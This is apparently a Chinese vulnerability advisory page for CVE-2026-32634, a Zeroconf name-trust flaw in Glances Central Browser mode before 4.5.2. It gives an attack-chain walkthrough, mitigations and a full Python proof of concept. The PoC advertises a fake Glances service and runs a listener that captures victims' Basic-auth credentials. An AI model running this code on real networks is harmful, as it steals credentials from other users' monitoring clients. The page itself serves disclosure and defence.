IPBUF安全漏洞报告
English
CVE-2026-32634 CVSS 8.1 高危

CVE-2026-32634 Glances Central Browser模式 Zeroconf认证凭证劫持漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32634
漏洞类型
认证绕过/凭证泄露
CVSS评分
8.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Glances

相关标签

认证绕过凭证泄露ZeroconfmDNSDNS-SD中间人攻击网络协议安全系统监控工具Glances

漏洞概述

Glances是一款开源跨平台系统监控工具。在4.5.2之前的版本中,Glances的Central Browser模式存在严重的认证凭证安全漏洞。该漏洞源于Glances在处理Zeroconf服务发现时,错误地使用未经验证的广告服务名称而非已发现的IP地址来构建连接URI。攻击者位于同一本地网络时,可以通过Zeroconf协议广播虚假的Glances服务信息,诱导受害者的Glances客户端向攻击者控制的服务器发送有效的认证凭证。这些凭证包括保存的密码和全局默认密码配置。由于该漏洞影响后台轮询路径和REST/WebUI点击路径,攻击者可以悄无声息地窃取用户凭证,进而完全控制受影响的Glances服务器。版本4.5.2已修复此安全问题。

技术细节

漏洞根源在于Glances的Central Browser模式在处理Zeroconf服务发现时存在信任链混淆。具体问题包括:(1) 动态服务器的连接URI构建使用了Zeroconf广告的服务名而非发现的IP地址;(2) 受保护服务器的密码查找键也使用了未验证的广告名称而非实际IP地址;(3) 全局passwords默认凭证同样使用不可信的名称作为查找键。攻击者利用Zeroconf协议特性,在同一局域网广播名为受保护服务器的虚假Glances服务,受害客户端轮询时自动向攻击者IP发送认证secret。修复方案为在构建连接URI和密码查找时强制使用已发现的IP地址而非广告名称。攻击者需要与目标处于同一广播域,能发送mDNS/DNS-SD响应即可实施攻击,无需认证或用户交互。

攻击链分析

STEP 1
步骤1
攻击者加入目标本地网络,监听Zeroconf/mDNS广播流量
STEP 2
步骤2
攻击者使用Zeroconf协议广播虚假的Glances服务,服务名称与受保护服务器相同(如protected-glances-server),但IP地址指向攻击者控制的服务器
STEP 3
步骤3
受害者的Glances Central Browser轮询时发现多个同名服务,但错误地使用Zeroconf广告名称而非IP地址构建连接URI和密码查找键
STEP 4
步骤4
Glances客户端向攻击者IP发送HTTP请求,包含Base64编码的认证凭证(Authorization头)
STEP 5
步骤5
攻击者捕获认证凭证后,可以离线破解或直接重放该凭证来访问真正的Glances服务器
STEP 6
步骤6
攻击者利用窃取的凭证完全控制Glances服务器,执行系统命令或窃取敏感监控数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-32634 PoC - Fake Glances Zeroconf Service Advertiser This PoC demonstrates how an attacker can advertise a fake Glances service via Zeroconf to steal authentication credentials. Usage: python3 cve_2026_32634_poc.py [fake_server_name] """ import socket import struct import time from datetime import datetime try: import zeroconf from zeroconf import ServiceInfo, Zeroconf except ImportError: print("[-] python-zeroconf not installed. Run: pip install zeroconf") exit(1) class FakeGlancesService: def __init__(self, fake_name="protected-glances-server"): self.fake_name = fake_name self.zc = Zeroconf() self.attacker_ip = self.get_local_ip() def get_local_ip(self): """Get local IP address""" s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 80)) ip = s.getsockname()[0] except Exception: ip = "127.0.0.1" finally: s.close() return ip def create_fake_service(self): """Create a fake Glances service info mimicking a protected server""" # Glances service type service_type = "_glances._tcp.local." service_name = f"{self.fake_name}._glances._tcp.local." # Service properties - mimic a password-protected Glances server properties = { b'version': b'4.0', b'password': b'true', # Indicate password protected b'cpu': b'true', b'mem': b'true', b'load': b'true', b'process': b'true', } service_info = ServiceInfo( service_type, service_name, addresses=[socket.inet_aton(self.attacker_ip)], port=61208, properties=properties, server=f"{self.fake_name}.local." ) return service_info def advertise(self, duration=300): """Advertise the fake Glances service""" print(f"[*] CVE-2026-32634 PoC - Fake Glances Zeroconf Advertiser") print(f"[*] Fake server name: {self.fake_name}") print(f"[*] Attacker IP: {self.attacker_ip}:61208") print(f"[*] Duration: {duration} seconds") print("[*] Waiting for victims to query Zeroconf services...") service_info = self.create_fake_service() try: self.zc.register_service(service_info) print(f"[+] Fake service '{self.fake_name}' advertised successfully") print(f"[+] Any Glances Central Browser on the network will") print(f" attempt to connect to {self.attacker_ip}:61208") print(f" using credentials for '{self.fake_name}'") # Wait and capture incoming connections self.wait_for_connections(duration) except Exception as e: print(f"[-] Error advertising service: {e}") finally: self.cleanup() def wait_for_connections(self, duration): """Simple HTTP server to capture Glances authentication attempts""" import threading server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', 61208)) server_socket.listen(5) server_socket.settimeout(10) captured_creds = [] start_time = time.time() def handle_client(client_socket, addr): try: request = client_socket.recv(4096) print(f"\n[!] Connection from {addr}") print(f"[!] Request:\n{request.decode('utf-8', errors='ignore')}") captured_creds.append({ 'timestamp': datetime.now().isoformat(), 'source': str(addr), 'request': request.decode('utf-8', errors='ignore') }) # Send 401 response response = b"HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"Glances\"\r\n\r\n" client_socket.send(response) client_socket.close() except Exception as e: print(f"[-] Error handling client: {e}") print("\n[*] Starting credential capture server on port 61208...") while time.time() - start_time < duration: try: client, addr = server_socket.accept() threading.Thread(target=handle_client, args=(client, addr)).start() except socket.timeout: continue except Exception as e: print(f"[-] Server error: {e}") break server_socket.close() if captured_creds: print(f"\n[+] Captured {len(captured_creds)} authentication attempts:") for cred in captured_creds: print(f" - {cred['timestamp']} from {cred['source']}") def cleanup(self): """Cleanup Zeroconf registration""" print("[*] Cleaning up...") self.zc.close() if __name__ == "__main__": import sys fake_name = sys.argv[1] if len(sys.argv) > 1 else "protected-glances-server" print("\n" + "="*60) print("CVE-2026-32634 - Glances Zeroconf Authentication Hijacking") print("="*60 + "\n") advertiser = FakeGlancesService(fake_name) advertiser.advertise(duration=300)

影响范围

Glances < 4.5.2

防御指南

临时缓解措施
在补丁发布前,建议在共享网络环境中禁用Glances的Central Browser模式或限制Zeroconf服务发现功能。对于必须使用的场景,可通过防火墙规则限制mDNS/DNS-SD流量仅限可信设备,并监控异常的服务发现响应。由于该漏洞无需认证即可利用,建议优先部署修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表